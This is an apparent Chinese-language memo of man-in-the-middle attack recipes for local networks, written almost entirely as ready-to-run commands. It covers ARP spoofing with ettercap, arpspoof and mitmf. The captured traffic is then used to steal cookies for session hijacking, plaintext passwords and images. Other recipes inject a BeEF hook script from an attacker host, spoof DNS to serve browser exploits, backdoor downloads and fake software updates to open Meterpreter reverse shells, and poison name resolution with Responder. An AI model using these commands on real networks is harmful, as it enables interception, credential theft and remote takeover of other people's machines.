内网中间人玩法备忘录
2 minute read
0x00 About
记录内网中间人的玩法
0x01 欺骗方法
a)ettercap
ettercap -Tqi eth0 -M arp /ip// /ip//
b)arpspoof
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 192.168.1.101 192.168.1.1
让受害者以为自己是网关
arpspoof -i eth0 -t 192.168.1.1 192.168.1.101
让网关以为自己是受害者
c)mitmf
mitmf -i eth0 --spoof --arp --target 192.168.1.101 --gateway 192.168.1.1
0x02 利用原理
利用中间人欺骗(ettercap,arpspoof,mitmf)使流量经过本机,然后通过数据分析工具(ferret,wireshark,dsniff,driftnet)提取出重要信息(cookie,passwords,pictures)
0x03 不同组合
0xa ettercap+ferret+hamster
作用:监听cookie达到会话劫持的目的
1.ettercap:让数据经过本机网卡
ettercap -Tqi eth0 -M arp /192.168.1.1// ///
欺骗路由器192.168.1.1和其他机器的通话
ettercap -Tqi eth0 -M arp /// ///
欺骗任意两台机器之间的通话
ettercap -Tqi eth0 -M arp /192.168.1.101// /192.168.1.1//
欺骗192.168.1.101和路由器192.168.1.101之间的通话
2.ferret:取cookie
ferret -i eth0
kali(x64)没有ferret,需要如下命令安装:
dpkg --add-architecture i386 && apt-get clean && apt-get update && apt-get upgrade -y && apt-get dist-upgrade -y && aptitude install ferret-sidejack:i386
3.hamster:利用cookie
hamster
需要设置浏览器的代理为127.0.0.1:1234,并在浏览器中访问http://hamster
0xb cain
作用:获取密码
0xc arpspoof+dsniff
作用:获取明文密码
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 192.168.1.101 192.168.1.1 欺骗192.168.1.101
[arpspoof -i eth0 192.168.1.1 欺骗所有机器]
dsniff(new terminal)
类似于cain的效果,但是测试不能截到http表单中的密码
0xd ettercap+driftnet
作用:获取图片
ettercap -Tqi eth0 -M arp /192.168.1.1// ///
driftnet -i eth0 -a -d /tmp/output/
或driftnet -f file.pcap -a -d /tmp/output/(这里需要中间人欺骗后wireshark抓包)
0xe ettercap+ie(firefox,chrome,safari)漏洞
作用:获取shell
vim /etc/ettercap/etter.conf
编辑将euid和egid设置为0,并设置使用iptables或是ipchains,设置完成后再运行下面的命令,或者参考如下
https://www.youtube.com/watch?v=tW_NMG2IZ5s
vim /etc/ettercap/etter.dns
添加* A 192.168.1.101在开始设置解析的地方
ettercap -Tqi eth0 -M arp -P dns_spoof /192.168.1.101// ///
ettercap -P list可查看支持的插件
这里用的是dns欺骗插件
msf设置利用ie漏洞或其他浏览器的漏洞
0xf mitmf+beef
作用:控制浏览器
mitmf -i eth0 --spoof --arp --target 192.168.1.101 --gateway 192.168.1.1 --hsts --inject --js-url http://192.168.1.104:3000/hook.js
0xg mitmf+msf
作用:获取shell
msfconsole
use multi/hanlder
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.106
set lport 4444
exploit
msfconsole(another terminal)
load msgrpc Pass=abc123
如果到这里报错无法连接msfrpc则根据需要修改/etc/mitmf/mitmf.conf中的与msfrpc相关的设置(端口或密码)
vi /etc/mitmf/mitmf.conf
eg.相关设置如下
[[[[WindowsIntelx86]]]]
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
# PATCH_METHOD overwrites PATCH_TYPE, use automatic, replace, or onionduke
PATCH_METHOD = automatic
HOST = 192.168.0.106
PORT = 4444
# SHELL for use with automatic PATCH_METHOD
SHELL = iat_reverse_tcp_inline_threaded
# SUPPLIED_SHELLCODE for use with a user_supplied_shellcode payload
SUPPLIED_SHELLCODE = None
ZERO_CERT = True
# PATCH_DLLs as they come across
PATCH_DLL = False
# RUNAS_ADMIN will attempt to patch requestedExecutionLevel as highestAvailable
RUNAS_ADMIN = False
# XP_MODE - to support XP targets
XP_MODE = True
# SUPPLIED_BINARY is for use with PATCH_METHOD 'onionduke' DLL/EXE can be x64 and
# with PATCH_METHOD 'replace' use an EXE not DLL
SUPPLIED_BINARY = veil_go_payload.exe
MSFPAYLOAD = windows/meterpreter/reverse_tcp
mitmf -i eth0 --spoof --arp --target 192.168.1.101 --gateway 192.168.1.1 --filepwn(欺骗192.168.1.101)
mitmf -i eth0 --spoof --arp --gateway 192.168.1.1 --filepwn(欺骗c段)
如果报错则要根据官网最接安装方法重新安装
https://github.com/byt3bl33d3r/MITMf/wiki/Installation
0xh evilgrade
作用:获取shell
1.kali下没有安装evilgrade需要:
apt-get install isr-evilgrade,如果没成功则用最新版kali安装即可
evilgrade
show modules
conf notepadplus
show options
set agent '["%out...."]'//这里参考youtube视频,设置agent为生成的shell的存放路径
start
2.ettercap -Tqi eth0 -M arp -P dns_spoof /192.168.1.101// ///
设置notepadplus的更新地址[上面evilgrade中的show options中的vhost的域名]的A记录解析到攻击者所在机器
3.msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 4444
set lhost xxx.xxx.xxx.xxx
exploit
0xi responder
作用:获取系统登录明文密码
./Responder.py -I eth0 -wrf
detail:
responder是一个LLMNR, NBT-NS and MDNS poisoner,可参考如下link:
https://github.com/SpiderLabs/Responder
https://mp.weixin.qq.com/s/ij4olS8GrYr7L-4LFGpQxg